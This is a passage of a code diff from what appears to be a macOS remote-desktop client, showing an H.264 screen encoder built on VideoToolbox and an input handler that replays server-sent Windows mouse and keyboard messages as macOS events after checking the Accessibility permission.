for (uint32_t x = 0; x < width; x++) {
|
||||
uint8_t b = srcRow[x * 4 + 0];
|
||||
uint8_t g = srcRow[x * 4 + 1];
|
||||
uint8_t r = srcRow[x * 4 + 2];
|
||||
|
||||
// Y component
|
||||
int yVal = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
|
||||
yRow[x] = (uint8_t)(yVal < 0 ? 0 : (yVal > 255 ? 255 : yVal));
|
||||
}
|
||||
|
||||
// UV planes (subsampled 2x2)
|
||||
if (y % 2 == 0) {
|
||||
uint8_t* uRow = uDst + (y / 2) * uvWidth;
|
||||
uint8_t* vRow = vDst + (y / 2) * uvWidth;
|
||||
|
||||
for (uint32_t x = 0; x < width; x += 2) {
|
||||
// Average 2x2 block
|
||||
uint32_t srcY2 = flipVertical ? (height - 2 - y) : (y + 1);
|
||||
if (srcY2 >= height) srcY2 = srcY;
|
||||
const uint8_t* srcRow2 = bgra + srcY2 * stride;
|
||||
|
||||
int r = 0, g = 0, b = 0;
|
||||
|
||||
// Top-left
|
||||
b += srcRow[x * 4 + 0];
|
||||
g += srcRow[x * 4 + 1];
|
||||
r += srcRow[x * 4 + 2];
|
||||
|
||||
// Top-right
|
||||
if (x + 1 < width) {
|
||||
b += srcRow[(x + 1) * 4 + 0];
|
||||
g += srcRow[(x + 1) * 4 + 1];
|
||||
r += srcRow[(x + 1) * 4 + 2];
|
||||
}
|
||||
|
||||
// Bottom-left
|
||||
b += srcRow2[x * 4 + 0];
|
||||
g += srcRow2[x * 4 + 1];
|
||||
r += srcRow2[x * 4 + 2];
|
||||
|
||||
// Bottom-right
|
||||
if (x + 1 < width) {
|
||||
b += srcRow2[(x + 1) * 4 + 0];
|
||||
g += srcRow2[(x + 1) * 4 + 1];
|
||||
r += srcRow2[(x + 1) * 4 + 2];
|
||||
}
|
||||
|
||||
r /= 4;
|
||||
g /= 4;
|
||||
b /= 4;
|
||||
|
||||
// U component
|
||||
int uVal = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
|
||||
uRow[x / 2] = (uint8_t)(uVal < 0 ? 0 : (uVal > 255 ? 255 : uVal));
|
||||
|
||||
// V component
|
||||
int vVal = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
|
||||
vRow[x / 2] = (uint8_t)(vVal < 0 ? 0 : (vVal > 255 ? 255 : vVal));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int H264Encoder::encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
uint8_t** outData, uint32_t* outSize,
|
||||
bool flipVertical)
|
||||
{
|
||||
if (!m_session) {
|
||||
snprintf(m_lastError, sizeof(m_lastError), "Encoder not initialized");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (width != (uint32_t)m_width || height != (uint32_t)m_height) {
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"Frame size mismatch: expected %dx%d, got %dx%d",
|
||||
m_width, m_height, (int)width, (int)height);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Convert BGRA to I420
|
||||
convertBGRAtoI420(bgra, stride, width, height, flipVertical);
|
||||
|
||||
// Create CVPixelBuffer
|
||||
CVPixelBufferRef pixelBuffer = nullptr;
|
||||
NSDictionary* options = @{
|
||||
(id)kCVPixelBufferIOSurfacePropertiesKey: @{}
|
||||
};
|
||||
|
||||
CVReturn cvRet = CVPixelBufferCreate(
|
||||
kCFAllocatorDefault,
|
||||
m_width,
|
||||
m_height,
|
||||
kCVPixelFormatType_420YpCbCr8Planar,
|
||||
(__bridge CFDictionaryRef)options,
|
||||
&pixelBuffer
|
||||
);
|
||||
|
||||
if (cvRet != kCVReturnSuccess) {
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"CVPixelBufferCreate failed: %d", (int)cvRet);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Lock and copy YUV data
|
||||
CVPixelBufferLockBaseAddress(pixelBuffer, 0);
|
||||
|
||||
size_t planeCount = CVPixelBufferGetPlaneCount(pixelBuffer);
|
||||
if (planeCount < 3) {
|
||||
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
|
||||
CVPixelBufferRelease(pixelBuffer);
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"CVPixelBuffer has %zu planes, expected 3", planeCount);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Y plane
|
||||
uint8_t* yDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 0);
|
||||
size_t yStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 0);
|
||||
for (int y = 0; y < m_height; y++) {
|
||||
memcpy(yDst + y * yStride, m_yPlane.data() + y * m_width, m_width);
|
||||
}
|
||||
|
||||
// U plane
|
||||
uint8_t* uDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 1);
|
||||
size_t uStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 1);
|
||||
int uvHeight = m_height / 2;
|
||||
int uvWidth = m_width / 2;
|
||||
for (int y = 0; y < uvHeight; y++) {
|
||||
memcpy(uDst + y * uStride, m_uPlane.data() + y * uvWidth, uvWidth);
|
||||
}
|
||||
|
||||
// V plane
|
||||
uint8_t* vDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 2);
|
||||
size_t vStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 2);
|
||||
for (int y = 0; y < uvHeight; y++) {
|
||||
memcpy(vDst + y * vStride, m_vPlane.data() + y * uvWidth, uvWidth);
|
||||
}
|
||||
|
||||
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
|
||||
|
||||
// Prepare frame properties
|
||||
CFMutableDictionaryRef frameProps = nullptr;
|
||||
if (m_forceKeyframe.exchange(false)) {
|
||||
frameProps = CFDictionaryCreateMutable(
|
||||
kCFAllocatorDefault, 1,
|
||||
&kCFTypeDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks
|
||||
);
|
||||
CFDictionarySetValue(frameProps,
|
||||
kVTEncodeFrameOptionKey_ForceKeyFrame,
|
||||
kCFBooleanTrue);
|
||||
}
|
||||
|
||||
// Clear output buffer
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_outputMutex);
|
||||
m_outputBuffer.clear();
|
||||
}
|
||||
|
||||
// Presentation timestamp
|
||||
CMTime pts = CMTimeMake(m_frameCount++, m_fps);
|
||||
|
||||
// Encode frame
|
||||
OSStatus status = VTCompressionSessionEncodeFrame(
|
||||
m_session,
|
||||
pixelBuffer,
|
||||
pts,
|
||||
kCMTimeInvalid,
|
||||
frameProps,
|
||||
nullptr,
|
||||
nullptr
|
||||
);
|
||||
|
||||
if (frameProps) {
|
||||
CFRelease(frameProps);
|
||||
}
|
||||
CVPixelBufferRelease(pixelBuffer);
|
||||
|
||||
if (status != noErr) {
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"VTCompressionSessionEncodeFrame failed: %d", (int)status);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Wait for encoding to complete
|
||||
VTCompressionSessionCompleteFrames(m_session, kCMTimeInvalid);
|
||||
|
||||
// Return encoded data
|
||||
std::lock_guard<std::mutex> lock(m_outputMutex);
|
||||
if (m_outputBuffer.empty()) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
*outData = m_outputBuffer.data();
|
||||
*outSize = (uint32_t)m_outputBuffer.size();
|
||||
return (int)m_outputBuffer.size();
|
||||
}
|
||||
|
||||
void H264Encoder::compressionCallback(void* outputCallbackRefCon,
|
||||
void* sourceFrameRefCon,
|
||||
OSStatus status,
|
||||
VTEncodeInfoFlags infoFlags,
|
||||
CMSampleBufferRef sampleBuffer)
|
||||
{
|
||||
(void)sourceFrameRefCon;
|
||||
(void)infoFlags;
|
||||
|
||||
H264Encoder* encoder = (H264Encoder*)outputCallbackRefCon;
|
||||
|
||||
if (status != noErr) {
|
||||
NSLog(@"H264Encoder: Compression callback error: %d", (int)status);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!sampleBuffer) {
|
||||
return;
|
||||
}
|
||||
|
||||
encoder->processSampleBuffer(sampleBuffer);
|
||||
}
|
||||
|
||||
void H264Encoder::processSampleBuffer(CMSampleBufferRef sampleBuffer)
|
||||
{
|
||||
// Check if keyframe
|
||||
CFArrayRef attachments = CMSampleBufferGetSampleAttachmentsArray(sampleBuffer, false);
|
||||
bool isKeyframe = false;
|
||||
if (attachments && CFArrayGetCount(attachments) > 0) {
|
||||
CFDictionaryRef dict = (CFDictionaryRef)CFArrayGetValueAtIndex(attachments, 0);
|
||||
CFBooleanRef notSync = (CFBooleanRef)CFDictionaryGetValue(dict,
|
||||
kCMSampleAttachmentKey_NotSync);
|
||||
isKeyframe = (notSync == nullptr || !CFBooleanGetValue(notSync));
|
||||
}
|
||||
|
||||
std::lock_guard<std::mutex> lock(m_outputMutex);
|
||||
m_outputBuffer.clear();
|
||||
|
||||
// Get format description for SPS/PPS
|
||||
CMFormatDescriptionRef formatDesc = CMSampleBufferGetFormatDescription(sampleBuffer);
|
||||
|
||||
// If keyframe, prepend SPS and PPS
|
||||
if (isKeyframe && formatDesc) {
|
||||
// Get SPS
|
||||
size_t spsSize = 0;
|
||||
size_t spsCount = 0;
|
||||
const uint8_t* sps = nullptr;
|
||||
OSStatus status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
|
||||
formatDesc, 0, &sps, &spsSize, &spsCount, nullptr);
|
||||
|
||||
if (status == noErr && sps && spsSize > 0) {
|
||||
// Write NAL start code + SPS
|
||||
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
|
||||
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
|
||||
m_outputBuffer.insert(m_outputBuffer.end(), sps, sps + spsSize);
|
||||
}
|
||||
|
||||
// Get PPS
|
||||
size_t ppsSize = 0;
|
||||
size_t ppsCount = 0;
|
||||
const uint8_t* pps = nullptr;
|
||||
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
|
||||
formatDesc, 1, &pps, &ppsSize, &ppsCount, nullptr);
|
||||
|
||||
if (status == noErr && pps && ppsSize > 0) {
|
||||
// Write NAL start code + PPS
|
||||
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
|
||||
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
|
||||
m_outputBuffer.insert(m_outputBuffer.end(), pps, pps + ppsSize);
|
||||
}
|
||||
}
|
||||
|
||||
// Get encoded data
|
||||
CMBlockBufferRef blockBuffer = CMSampleBufferGetDataBuffer(sampleBuffer);
|
||||
if (!blockBuffer) {
|
||||
return;
|
||||
}
|
||||
|
||||
size_t totalLength = 0;
|
||||
size_t lengthAtOffset = 0;
|
||||
char* dataPointer = nullptr;
|
||||
|
||||
OSStatus status = CMBlockBufferGetDataPointer(
|
||||
blockBuffer, 0, &lengthAtOffset, &totalLength, &dataPointer);
|
||||
|
||||
if (status != noErr || !dataPointer) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Get NAL unit length size from format description (usually 4 bytes)
|
||||
int nalLengthSize = 4;
|
||||
if (formatDesc) {
|
||||
int tmpNalLengthSize = 0;
|
||||
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
|
||||
formatDesc, 0, nullptr, nullptr, nullptr, &tmpNalLengthSize);
|
||||
if (status == noErr && tmpNalLengthSize > 0 && tmpNalLengthSize <= 4) {
|
||||
nalLengthSize = tmpNalLengthSize;
|
||||
}
|
||||
}
|
||||
|
||||
// Convert AVCC format (length-prefixed) to Annex B (start code prefixed)
|
||||
size_t offset = 0;
|
||||
while (offset < totalLength) {
|
||||
// Read NAL unit length (big-endian, variable size)
|
||||
uint32_t nalLength = 0;
|
||||
const uint8_t* lengthPtr = (const uint8_t*)dataPointer + offset;
|
||||
for (int i = 0; i < nalLengthSize; i++) {
|
||||
nalLength = (nalLength << 8) | lengthPtr[i];
|
||||
}
|
||||
offset += nalLengthSize;
|
||||
|
||||
if (nalLength > 0 && offset + nalLength <= totalLength) {
|
||||
// Write NAL start code
|
||||
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
|
||||
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
|
||||
|
||||
// Write NAL data
|
||||
m_outputBuffer.insert(m_outputBuffer.end(),
|
||||
(uint8_t*)dataPointer + offset,
|
||||
(uint8_t*)dataPointer + offset + nalLength);
|
||||
}
|
||||
|
||||
offset += nalLength;
|
||||
}
|
||||
}
|
||||
80
macos/InputHandler.h
Normal file
80
macos/InputHandler.h
Normal file
@@ -0,0 +1,80 @@
|
||||
#pragma once
|
||||
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#include <cstdint>
|
||||
#include <atomic>
|
||||
|
||||
// Windows message constants (for parsing server commands)
|
||||
#define WM_MOUSEMOVE 0x0200
|
||||
#define WM_LBUTTONDOWN 0x0201
|
||||
#define WM_LBUTTONUP 0x0202
|
||||
#define WM_LBUTTONDBLCLK 0x0203
|
||||
#define WM_RBUTTONDOWN 0x0204
|
||||
#define WM_RBUTTONUP 0x0205
|
||||
#define WM_RBUTTONDBLCLK 0x0206
|
||||
#define WM_MBUTTONDOWN 0x0207
|
||||
#define WM_MBUTTONUP 0x0208
|
||||
#define WM_MBUTTONDBLCLK 0x0209
|
||||
#define WM_MOUSEWHEEL 0x020A
|
||||
|
||||
#define WM_KEYDOWN 0x0100
|
||||
#define WM_KEYUP 0x0101
|
||||
#define WM_SYSKEYDOWN 0x0104
|
||||
#define WM_SYSKEYUP 0x0105
|
||||
|
||||
// Windows wheel delta extraction
|
||||
#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)((wParam) >> 16))
|
||||
|
||||
// MSG64 structure (compatible with Windows/Linux)
|
||||
#pragma pack(push, 1)
|
||||
struct MSG64_MAC {
|
||||
uint64_t hwnd;
|
||||
uint64_t message;
|
||||
uint64_t wParam;
|
||||
uint64_t lParam;
|
||||
uint64_t time;
|
||||
int32_t pt_x;
|
||||
int32_t pt_y;
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
class InputHandler {
|
||||
public:
|
||||
InputHandler();
|
||||
~InputHandler();
|
||||
|
||||
// Initialize (checks accessibility permission)
|
||||
bool init();
|
||||
|
||||
// Handle input event from server
|
||||
void handleInputEvent(const MSG64_MAC* msg);
|
||||
|
||||
// Check if accessibility permission is available
|
||||
bool hasAccessibilityPermission() const { return m_hasPermission; }
|
||||
|
||||
private:
|
||||
// Mouse event helpers
|
||||
void handleMouseMove(int x, int y);
|
||||
void handleMouseButton(CGMouseButton button, bool down, int x, int y);
|
||||
void handleMouseDoubleClick(CGMouseButton button, int x, int y);
|
||||
void handleMouseWheel(int delta);
|
||||
|
||||
// Keyboard event helpers
|
||||
void handleKeyEvent(uint32_t vkCode, bool down);
|
||||
|
||||
// Convert Windows VK code to macOS key code
|
||||
static CGKeyCode vkToMacKeyCode(uint32_t vk);
|
||||
|
||||
private:
|
||||
std::atomic<bool> m_hasPermission{false};
|
||||
std::atomic<bool> m_warningLogged{false};
|
||||
|
||||
// Track button states for CGEvent (atomic for thread safety)
|
||||
CGPoint m_lastMousePos;
|
||||
std::atomic<bool> m_leftButtonDown{false};
|
||||
std::atomic<bool> m_rightButtonDown{false};
|
||||
std::atomic<bool> m_middleButtonDown{false};
|
||||
|
||||
// Track modifier key states for proper key event handling
|
||||
std::atomic<CGEventFlags> m_modifierFlags{0};
|
||||
};
|
||||
396
macos/InputHandler.mm
Normal file
396
macos/InputHandler.mm
Normal file
@@ -0,0 +1,396 @@
|
||||
#import "InputHandler.h"
|
||||
#import "Permissions.h"
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <Carbon/Carbon.h>
|
||||
#include <unistd.h> // for usleep
|
||||
|
||||
InputHandler::InputHandler()
|
||||
: m_lastMousePos(CGPointZero)
|
||||
{
|
||||
// atomic members are initialized in class declaration
|
||||
}
|
||||
|
||||
InputHandler::~InputHandler()
|
||||
{
|
||||
}
|
||||
|
||||
bool InputHandler::init()
|
||||
{
|
||||
m_hasPermission = Permissions::checkAccessibility();
|
||||
if (!m_hasPermission) {
|
||||
NSLog(@"InputHandler: Accessibility permission not granted");
|
||||
// Request permission (shows system dialog)
|
||||
Permissions::requestAccessibility();
|
||||
}
|
||||
return m_hasPermission;
|
||||
}
|
||||
|
||||
void InputHandler::handleInputEvent(const MSG64_MAC* msg)
|
||||
{
|
||||
if (!m_hasPermission) {
|
||||
// Re-check permission
|
||||
m_hasPermission = Permissions::checkAccessibility();
|
||||
if (!m_hasPermission) {
|
||||
if (!m_warningLogged) {
|
||||
NSLog(@"InputHandler: Cannot handle input - no accessibility permission");
|
||||
m_warningLogged = true;
|
||||
}
|
||||
return;
|
||||
}
|
||||
m_warningLogged = false;
|
||||
}
|
||||
|
||||
uint32_t message = (uint32_t)msg->message;
|
||||
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
|
||||
int x = (int)(msg->lParam & 0xFFFF);
|
||||
int y = (int)((msg->lParam >> 16) & 0xFFFF);
|
||||
|
||||
switch (message) {
|
||||
// Mouse movement
|
||||
case WM_MOUSEMOVE:
|
||||
handleMouseMove(x, y);
|
||||
break;
|
||||
|
||||
// Left button
|
||||
case WM_LBUTTONDOWN:
|
||||
handleMouseButton(kCGMouseButtonLeft, true, x, y);
|
||||
break;
|
||||
case WM_LBUTTONUP:
|
||||
handleMouseButton(kCGMouseButtonLeft, false, x, y);
|
||||
break;
|
||||
case WM_LBUTTONDBLCLK:
|
||||
handleMouseDoubleClick(kCGMouseButtonLeft, x, y);
|
||||
break;
|
||||
|
||||
// Right button
|
||||
case WM_RBUTTONDOWN:
|
||||
handleMouseButton(kCGMouseButtonRight, true, x, y);
|
||||
break;
|
||||
case WM_RBUTTONUP:
|
||||
handleMouseButton(kCGMouseButtonRight, false, x, y);
|
||||
break;
|
||||
case WM_RBUTTONDBLCLK:
|
||||
handleMouseDoubleClick(kCGMouseButtonRight, x, y);
|
||||
break;
|
||||
|
||||
// Middle button
|
||||
case WM_MBUTTONDOWN:
|
||||
handleMouseButton(kCGMouseButtonCenter, true, x, y);
|
||||
break;
|
||||
case WM_MBUTTONUP:
|
||||
handleMouseButton(kCGMouseButtonCenter, false, x, y);
|
||||
break;
|
||||
case WM_MBUTTONDBLCLK:
|
||||
handleMouseDoubleClick(kCGMouseButtonCenter, x, y);
|
||||
break;
|
||||
|
||||
// Mouse wheel
|
||||
case WM_MOUSEWHEEL: {
|
||||
short delta = GET_WHEEL_DELTA_WPARAM(msg->wParam);
|
||||
handleMouseWheel(delta);
|
||||
break;
|
||||
}
|
||||
|
||||
// Keyboard
|
||||
case WM_KEYDOWN:
|
||||
case WM_SYSKEYDOWN:
|
||||
handleKeyEvent((uint32_t)msg->wParam, true);
|
||||
break;
|
||||
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYUP:
|
||||
handleKeyEvent((uint32_t)msg->wParam, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void InputHandler::handleMouseMove(int x, int y)
|
||||
{
|
||||
CGPoint point = CGPointMake(x, y);
|
||||
m_lastMousePos = point;
|
||||
|
||||
CGEventType eventType = kCGEventMouseMoved;
|
||||
CGMouseButton button = kCGMouseButtonLeft;
|
||||
|
||||
// If button is held, use drag event
|
||||
if (m_leftButtonDown) {
|
||||
eventType = kCGEventLeftMouseDragged;
|
||||
button = kCGMouseButtonLeft;
|
||||
} else if (m_rightButtonDown) {
|
||||
eventType = kCGEventRightMouseDragged;
|
||||
button = kCGMouseButtonRight;
|
||||
} else if (m_middleButtonDown) {
|
||||
eventType = kCGEventOtherMouseDragged;
|
||||
button = kCGMouseButtonCenter;
|
||||
}
|
||||
|
||||
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
|
||||
if (event) {
|
||||
CGEventPost(kCGHIDEventTap, event);
|
||||
CFRelease(event);
|
||||
}
|
||||
}
|
||||
|
||||
void InputHandler::handleMouseButton(CGMouseButton button, bool down, int x, int y)
|
||||
{
|
||||
CGPoint point = CGPointMake(x, y);
|
||||
m_lastMousePos = point;
|
||||
|
||||
CGEventType eventType;
|
||||
|
||||
switch (button) {
|
||||
case kCGMouseButtonLeft:
|
||||
eventType = down ? kCGEventLeftMouseDown : kCGEventLeftMouseUp;
|
||||
m_leftButtonDown = down;
|
||||
break;
|
||||
case kCGMouseButtonRight:
|
||||
eventType = down ? kCGEventRightMouseDown : kCGEventRightMouseUp;
|
||||
m_rightButtonDown = down;
|
||||
break;
|
||||
case kCGMouseButtonCenter:
|
||||
default:
|
||||
eventType = down ? kCGEventOtherMouseDown : kCGEventOtherMouseUp;
|
||||
m_middleButtonDown = down;
|
||||
break;
|
||||
}
|
||||
|
||||
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
|
||||
if (event) {
|
||||
// clickState=1 for all single clicks
|
||||
CGEventSetIntegerValueField(event, kCGMouseEventClickState, 1);
|
||||
CGEventPost(kCGHIDEventTap, event);
|
||||
CFRelease(event);
|
||||
}
|
||||
}
|
||||
|
||||
void InputHandler::handleMouseDoubleClick(CGMouseButton button, int x, int y)
|
||||
{
|
||||
// WM_LBUTTONDBLCLK represents the second click of a double-click.
|
||||
// The first click was already sent via WM_LBUTTONDOWN/WM_LBUTTONUP.
|
||||
//
|
||||
// We send complete down(2) + up(2) here because:
|
||||
// - Web client: dblclick fires AFTER mouseup, no subsequent WM_LBUTTONUP
|
||||
// - MFC client: WM_LBUTTONUP follows, but extra up(1) is harmless
|
||||
|
||||
CGPoint point = CGPointMake(x, y);
|
||||
m_lastMousePos = point;
|
||||
|
||||
CGEventType downType, upType;
|
||||
|
||||
switch (button) {
|
||||
case kCGMouseButtonLeft:
|
||||
downType = kCGEventLeftMouseDown;
|
||||
upType = kCGEventLeftMouseUp;
|
||||
break;
|
||||
case kCGMouseButtonRight:
|
||||
downType = kCGEventRightMouseDown;
|
||||
upType = kCGEventRightMouseUp;
|
||||
break;
|
||||
case kCGMouseButtonCenter:
|
||||
default:
|
||||
downType = kCGEventOtherMouseDown;
|
||||
upType = kCGEventOtherMouseUp;
|
||||
break;
|
||||
}
|
||||
|
||||
// Send second click: down(2) + up(2)
|
||||
CGEventRef down = CGEventCreateMouseEvent(NULL, downType, point, button);
|
||||
CGEventRef up = CGEventCreateMouseEvent(NULL, upType, point, button);
|
||||
|
||||
if (down) {
|
||||
CGEventSetIntegerValueField(down, kCGMouseEventClickState, 2);
|
||||
CGEventPost(kCGHIDEventTap, down);
|
||||
CFRelease(down);
|
||||
}
|
||||
|
||||
if (up) {
|
||||
CGEventSetIntegerValueField(up, kCGMouseEventClickState, 2);
|
||||
CGEventPost(kCGHIDEventTap, up);
|
||||
CFRelease(up);
|
||||
}
|
||||
|
||||
// Note: For MFC client, an extra WM_LBUTTONUP will follow (sending up(1)),
|
||||
// but this is harmless since mouse is already up.
|
||||
}
|
||||
|
||||
void InputHandler::handleMouseWheel(int delta)
|
||||
{
|
||||
// Convert Windows wheel delta (120 = one notch) to macOS pixel units
|
||||
// Using pixel units provides smoother scrolling than line units
|
||||
// Windows: 120 = one standard notch
|
||||
// macOS: approximately 10 pixels per notch feels natural
|
||||
int32_t scrollAmount = (delta * 10) / 120;
|
||||
|
||||
// Use pixel units for smoother scrolling experience
|
||||
CGEventRef event = CGEventCreateScrollWheelEvent(
|
||||
NULL,
|
||||
kCGScrollEventUnitPixel,
|
||||
1,
|
||||
scrollAmount
|
||||
);
|
||||
if (event) {
|
||||
CGEventPost(kCGHIDEventTap, event);
|
||||
CFRelease(event);
|
||||
}
|
||||
}
|
||||
|
||||
void InputHandler::handleKeyEvent(uint32_t vkCode, bool down)
|
||||
{
|
||||
CGKeyCode keyCode = vkToMacKeyCode(vkCode);
|
||||
if (keyCode == 0xFF) {
|
||||
return; // Unknown key
|
||||
}
|
||||
|
||||
// Update modifier flags based on key
|
||||
CGEventFlags flag = 0;
|
||||
switch (keyCode) {
|
||||
case kVK_Shift:
|
||||
case kVK_RightShift:
|
||||
flag = kCGEventFlagMaskShift;
|
||||
break;
|
||||
case kVK_Control:
|
||||
case kVK_RightControl:
|
||||
flag = kCGEventFlagMaskControl;
|
||||
break;
|
||||
case kVK_Option:
|
||||
case kVK_RightOption:
|
||||
flag = kCGEventFlagMaskAlternate;
|
||||
break;
|
||||
case kVK_Command:
|
||||
case kVK_RightCommand:
|
||||
flag = kCGEventFlagMaskCommand;
|
||||
break;
|
||||
case kVK_CapsLock:
|
||||
flag = kCGEventFlagMaskAlphaShift;
|
||||
break;
|
||||
}
|
||||
|
||||
if (flag) {
|
||||
CGEventFlags current = m_modifierFlags.load();
|
||||
if (down) {
|
||||
m_modifierFlags.store(current | flag);
|
||||
} else {
|
||||
m_modifierFlags.store(current & ~flag);
|
||||
}
|
||||
}
|
||||
|
||||
CGEventRef event = CGEventCreateKeyboardEvent(NULL, keyCode, down);
|
||||
if (event) {
|
||||
// Set current modifier flags to ensure proper key combinations
|
||||
CGEventSetFlags(event, m_modifierFlags.load());
|
||||
CGEventPost(kCGHIDEventTap, event);
|
||||
CFRelease(event);
|
||||
}
|
||||
}
|
||||
|
||||
// Convert Windows VK code to macOS key code
|
||||
// Reference: Carbon/HIToolbox/Events.h
|
||||
CGKeyCode InputHandler::vkToMacKeyCode(uint32_t vk)
|
||||
{
|
||||
// Letters A-Z (VK 0x41-0x5A)
|
||||
if (vk >= 0x41 && vk <= 0x5A) {
|
||||
// macOS key codes for A-Z are not sequential
|
||||
static const CGKeyCode letterKeys[] = {
|
||||
kVK_ANSI_A, kVK_ANSI_B, kVK_ANSI_C, kVK_ANSI_D, kVK_ANSI_E,
|
||||
kVK_ANSI_F, kVK_ANSI_G, kVK_ANSI_H, kVK_ANSI_I, kVK_ANSI_J,
|
||||
kVK_ANSI_K, kVK_ANSI_L, kVK_ANSI_M, kVK_ANSI_N, kVK_ANSI_O,
|
||||
kVK_ANSI_P, kVK_ANSI_Q, kVK_ANSI_R, kVK_ANSI_S, kVK_ANSI_T,
|
||||
kVK_ANSI_U, kVK_ANSI_V, kVK_ANSI_W, kVK_ANSI_X, kVK_ANSI_Y,
|
||||
kVK_ANSI_Z
|
||||
};
|
||||
return letterKeys[vk - 0x41];
|
||||
}
|
||||
|
||||
// Numbers 0-9 (VK 0x30-0x39)
|
||||
if (vk >= 0x30 && vk <= 0x39) {
|
||||
static const CGKeyCode numberKeys[] = {
|
||||
kVK_ANSI_0, kVK_ANSI_1, kVK_ANSI_2, kVK_ANSI_3, kVK_ANSI_4,
|
||||
kVK_ANSI_5, kVK_ANSI_6, kVK_ANSI_7, kVK_ANSI_8, kVK_ANSI_9
|
||||
};
|
||||
return numberKeys[vk - 0x30];
|
||||
}
|
||||
|
||||
// Numpad 0-9 (VK 0x60-0x69)
|
||||
if (vk >= 0x60 && vk <= 0x69) {
|
||||
static const CGKeyCode numpadKeys[] = {
|
||||
kVK_ANSI_Keypad0, kVK_ANSI_Keypad1, kVK_ANSI_Keypad2,
|
||||
kVK_ANSI_Keypad3, kVK_ANSI_Keypad4, kVK_ANSI_Keypad5,
|
||||
kVK_ANSI_Keypad6, kVK_ANSI_Keypad7, kVK_ANSI_Keypad8,
|
||||
kVK_ANSI_Keypad9
|
||||
};
|
||||
return numpadKeys[vk - 0x60];
|
||||
}
|
||||
|
||||
// F1-F12 (VK 0x70-0x7B)
|
||||
if (vk >= 0x70 && vk <= 0x7B) {
|
||||
static const CGKeyCode fKeys[] = {
|
||||
kVK_F1, kVK_F2, kVK_F3, kVK_F4, kVK_F5, kVK_F6,
|
||||
kVK_F7, kVK_F8, kVK_F9, kVK_F10, kVK_F11, kVK_F12
|
||||
};
|
||||
return fKeys[vk - 0x70];
|
||||
}
|
||||
|
||||
// Special keys
|
||||
switch (vk) {
|
||||
case 0x08: return kVK_Delete; // VK_BACK (Backspace)
|
||||
case 0x09: return kVK_Tab; // VK_TAB
|
||||
case 0x0D: return kVK_Return; // VK_RETURN
|
||||
case 0x10: return kVK_Shift; // VK_SHIFT
|
||||
case 0x11: return kVK_Control; // VK_CONTROL
|
||||
case 0x12: return kVK_Option; // VK_MENU (Alt -> Option)
|
||||
case 0x13: return kVK_F15; // VK_PAUSE (no direct equivalent)
|
||||
case 0x14: return kVK_CapsLock; // VK_CAPITAL
|
||||
case 0x1B: return kVK_Escape; // VK_ESCAPE
|
||||
case 0x20: return kVK_Space; // VK_SPACE
|
||||
case 0x21: return kVK_PageUp; // VK_PRIOR
|
||||
case 0x22: return kVK_PageDown; // VK_NEXT
|
||||
case 0x23: return kVK_End; // VK_END
|
||||
case 0x24: return kVK_Home; // VK_HOME
|
||||
case 0x25: return kVK_LeftArrow; // VK_LEFT
|
||||
case 0x26: return kVK_UpArrow; // VK_UP
|
||||
case 0x27: return kVK_RightArrow; // VK_RIGHT
|
||||
case 0x28: return kVK_DownArrow; // VK_DOWN
|
||||
case 0x2C: return kVK_F13; // VK_SNAPSHOT (PrintScreen)
|
||||
case 0x2D: return kVK_Help; // VK_INSERT (Help on Mac)
|
||||
case 0x2E: return kVK_ForwardDelete; // VK_DELETE
|
||||
|
||||
// Windows keys -> Command
|
||||
case 0x5B: return kVK_Command; // VK_LWIN
|
||||
case 0x5C: return kVK_RightCommand; // VK_RWIN
|
||||
|
||||
// Numpad operators
|
||||
case 0x6A: return kVK_ANSI_KeypadMultiply; // VK_MULTIPLY
|
||||
case 0x6B: return kVK_ANSI_KeypadPlus; // VK_ADD
|
||||
case 0x6D: return kVK_ANSI_KeypadMinus; // VK_SUBTRACT
|
||||
